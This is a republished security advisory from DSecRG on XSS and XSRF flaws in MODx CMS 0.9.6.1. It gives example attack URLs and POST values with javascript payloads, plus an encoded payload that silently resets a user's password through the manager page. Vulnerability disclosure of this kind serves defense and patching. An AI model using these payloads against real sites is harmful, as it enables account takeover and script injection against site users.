Modx 0.9.6.1, 0.9.6.1p1 Multiple Security Vulnerabilities

2009-09-18 / 2009-09-19
Credit: DSecRG
Risk: Medium
Local: No
Remote: Yes

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-013 Application: MODx CMS Versions Affected: 0.9.6.1, 0.9.6.1p1 Vendor URL: http://modxcms.com/ Bugs: XSS, SiXSS, stored XSS, Change User Password XSRF Vulnerability. Exploits: YES Reported: 11.01.2008 Vendor response: 11.01.2008 Updated Report: 29.01.2008 Vendor response: none Solution: none Date of Public Advisory: 07.02.2008 Authors: Alexandr Polyakov, Stas Svistunovich Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** MODx system has multiple security vulnerabilities: 1. Linked XSS 2. Linked SiXSS 3. XSS in POST 4. Stored XSS in POST 5. Change User Password XSRF Vulnerability Details ******* 1. Multiple linked XSS vulnerabilities found. Attacker can inject XSS in URL string. 1.1 Linked XSS vulnerability found in manager/index.php. GET parameter "search" Search string is available in pages: http://[server]/[installdir]/manager/index.php?a=75 http://[server]/[installdir]/manager/index.php?a=84 http://[server]/[installdir]/manager/index.php?a=99 http://[server]/[installdir]/manager/index.php?a=106 http://[server]/[installdir]/manager/index.php?a=114 Example: http://[server]/[installdir]/manager/index.php?a=75&search="><IMG SRC="javascript:alert('DSecRG XSS') http://[server]/[installdir]/manager/index.php?a=84&search="><IMG SRC="javascript:alert('DSecRG XSS') 1.2 Linked XSS vulnerability found in index.php. GET parameter "highlight" Example: http://[server]/[installdir]/index.php?searched=modx&highlight="><IMG SRC="javascript:alert('DSecRG XSS') ------------------------------------------------------------------------ ------ 2. Multiple linked SiXSS vulnerabilities found. Attacker can inject XSS code in SQL Error. 2.1 Vulnerability found in script manager/index.php. GET parameter "a" Example: http://[server]/[installdir]/manager/index.php?a='<img src="javascript:alert('DSecRG XSS')"> 2.2 Vulnerability found in script index.php. GET parameter "id" Example: http://[server]/[installdir]/index.php?id='<img src="javascript:alert('DSecRG XSS')"> ------------------------------------------------------------------------ ------- 3. XSS in POST, attacker can inject XSS in POST parameter 3.1 Vulnerability found in script index-ajax.php. POST parameters "docgrp" and "moreResultsPage". Example: moreResultsPage = "><IMG SRC="javascript:alert('DSecRG XSS')"> 3.2 Vulnerability found in script index.php. POST parameters "email", "name" and "parent". Example: name = " style="background:url(javascript:alert('DSecRG XSS')) ------------------------------------------------------------------------ ------- 4. Vulnerability found in script manager/index.php?a=10 POST parameters "messagesubject" and "messagebody". Attacker can comprose message with script code in subject and message body. ------------------------------------------------------------------------ ------- 5. Change User Password XSRF Vulnerability Previous password not required to set a new password. Using XSS vulnerabilities, attacker can include following code to change user password: ________________________________________________________________________ _______ <IMG%20SRC=`javascript:var%20objHTTP%20=%20new%20ActiveXObject('MSXML2.X MLHTTP');%20objHTTP.open('POST',"http://[server]/[installdir]/manager/in dex.php?a=34",false);%20objHTTP.setRequestHeader('Content-Type',%20'appl ication/x-www-form-urlencoded');%20objHTTP.send("pass1=123456%26pass2=12 3456");`> ________________________________________________________________________ _______ About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian)

References:

http://xforce.iss.net/xforce/xfdb/40378
http://www.securityfocus.com/bid/27672
http://www.securityfocus.com/archive/1/archive/1/487696/100/200/threaded
http://secunia.com/advisories/28840


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top